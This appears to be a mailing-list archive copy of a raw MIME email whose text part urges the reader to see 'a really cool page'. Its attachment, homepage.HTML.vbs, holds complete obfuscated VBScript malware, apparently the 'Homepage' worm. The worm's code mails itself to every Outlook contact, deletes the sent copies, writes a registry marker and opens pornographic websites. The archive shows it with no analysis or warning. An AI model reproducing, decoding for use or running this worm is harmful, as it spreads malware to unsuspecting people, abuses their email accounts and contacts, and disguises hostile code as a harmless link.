[Zope] Homepage

[Nathalie Bernier]

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_00C3_01C0D8A6.232F5850
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


Hi!

You've got to see this page! It's really cool ;O)


------=_NextPart_000_00C3_01C0D8A6.232F5850
Content-Type: application/octet-stream;
	name="homepage.HTML.vbs"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="homepage.HTML.vbs"

Execute =
DeCode("Qp=11Gttqt=11Tguwog=11Pgzv=10=0FUgv=11YU=11?=11EtgcvgQdlgev*$YUet=
krv0Ujgnn$+=10=0FUgv=11HUQ?=11Etgcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+=10=
=0FHqnfgt?HUQ0IgvUrgekcnHqnfgt*4+=10=0F=10=0FUgv=11KpH?HUQ0QrgpVgzvHkng*Y=
Uetkrv0UetkrvHwnnpcog.3+=10=0FFq=11Yjkng=11KpH0CvGpfQhUvtgco>@Vtwg=10=0FU=
etkrvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnh=10=0FNqqr=10=0F=10=0FUgv=11Q=
wvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+=10=0FQwvH0ytkvg=11=
UetkrvDwhhgt=10=0FQwvH0enqug=10=0FUgv=11HUQ?Pqvjkpi=10=0F=10=0FKh=11YU0tg=
itgcf=11*$JMEW^uqhvyctg^Cp^ockngf$+=11>@=11$3$=11vjgp=10=0FOcknkv*+=10=0F=
Gpf=11Kh=10=0F=10=0FUgv=11u?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+=10=0FUgv=11=
v?u0IgvPcogUrceg*$OCRK$+=10=0FUgv=11w?v0IgvFghcwnvHqnfgt*8+=10=0FHqt=11k?=
3=11vq=11w0kvgou0eqwpv=10=0FKh=11w0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$=11Vjg=
p=10=0Fw0Kvgou0Kvgo*k+0enqug=10=0Fw0Kvgou0Kvgo*k+0fgngvg=10=0FGpf=11Kh=10=
=0FPgzv=10=0FUgv=11w?v0IgvFghcwnvHqnfgt*5+=10=0FHqt=11k?3=11vq=11w0kvgou0=
eqwpv=10=0FKh=11w0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$=11Vjgp=10=0Fw0Kvgou0Kv=
go*k+0fgngvg=10=0FGpf=11Kh=10=0FPgzv=10=0F=10=0FTcpfqok|g=10=0Ft?Kpv**6,T=
pf+-3+=10=0FKh=11t?3=11vjgp=10=0FYU0Twp*$jvvr<11jctfeqtg0rqtpdknndqctf0pg=
v1ujcppqp130jvo$+=10=0Fgnugkh=11t?4=11Vjgp=10=0FYU0Twp*$jvvr<11ogodgtu0pd=
ek0eqo1aZOEO1rtkp|lg130jvo$+=10=0Fgnugkh=11t?5=11Vjgp=10=0FYU0Twp*$jvvr<1=
1yyy40ugzetqrqnku0eqo1cocvgwt1ujgknc130jvo$+=10=0FGnugKh=11t?6=11Vjgp=10=0F=
YU0Twp*$jvvr<11ujgknc0kuugz{0vx130jvo$+=10=0FGpf=11Kh=10=0F=10=0FHwpevkqp=
=11Ocknkv*+=10=0FQp=11Gttqt=11Tguwog=11Pgzv=10=0FUgv=11Qwvnqqm=11?=11Etgc=
vgQdlgev*$Qwvnqqm0Crrnkecvkqp$+=10=0FKh=11Qwvnqqm=11?=11$Qwvnqqm$=11Vjgp=10=
=0F=12Ugv=11Ocrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+=10=0F=12Ugv=11Nkuvu?Ocrk0Cf=
ftguuNkuvu=10=0F=12Hqt=11Gcej=11NkuvKpfgz=11Kp=11Nkuvu=10=0F=12=12Kh=11Nk=
uvKpfgz0CfftguuGpvtkgu0Eqwpv=11>@=112=11Vjgp=10=0F=12=12=12EqpvcevEqwpv=11=
?=11NkuvKpfgz0CfftguuGpvtkgu0Eqwpv=10=0F=12=12=12Hqt=11Eqwpv?=113=11Vq=11=
EqpvcevEqwpv=10=0F=12=12=12=12Ugv=11Ockn=11?=11Qwvnqqm0EtgcvgKvgo*2+=10=0F=
=12=12=12=12Ugv=11Eqpvcev=11?=11NkuvKpfgz0CfftguuGpvtkgu*Eqwpv+=10=0F=12=12=
=12=12Ockn0Vq=11?=11Eqpvcev0Cfftguu=10=0F=12=12=12=12Ockn0Uwdlgev=11?=11$=
Jqogrcig$=10=0F=12=12=12=12Ockn0Dqf{=11?=11xdetnh($Jk#$(xdetnh(xdetnh($[q=
w)xg=11iqv=11vq=11ugg=11vjku=11rcig#=11Kv)u=11tgcnn{=11eqqn=11=3DQ+$(xdet=
nh(xdetnh=10=0F=12=12=12=12Ugv=11Cvvcejogpv?Ockn0Cvvcejogpvu=10=0F=12=12=12=
=12Cvvcejogpv0Cff=11Hqnfgt=11(=11$^jqogrcig0JVON0xdu$=10=0F=12=12=12=12Oc=
kn0FgngvgChvgtUwdokv=11?=11Vtwg=10=0F=12=12=12=12Kh=11Ockn0Vq=11>@=11$$=11=
Vjgp=10=0F=12=12=12=12Ockn0Ugpf=10=0F=12=12=12=12YU0tgiytkvg=11$JMEW^uqhv=
yctg^Cp^ockngf$.=11$3$=10=0F=12=12=12Gpf=11Kh=10=0F=12=12=12Pgzv=10=0F=12=
=12Gpf=11Kh=10=0F=12Pgzv=10=0FGpf=11kh=10=0FGpf=11Hwpevkqp")
Function DeCode(Coded)
For I =3D 1 To Len(Coded)
CurChar=3D Mid(Coded, I, 1)
If Asc(CurChar) =3D 15 Then
CurChar=3D Chr(10)
ElseIf Asc(CurChar) =3D 16 Then
CurChar=3D Chr(13)
ElseIf Asc(CurChar) =3D 17 Then
CurChar=3D Chr(32)
ElseIf Asc(CurChar) =3D 18 Then
CurChar=3D Chr(9)
Else
CurChar =3D Chr(Asc(CurChar) - 2)
End If
DeCode =3D DeCode & CurChar
Next
End Function

------=_NextPart_000_00C3_01C0D8A6.232F5850--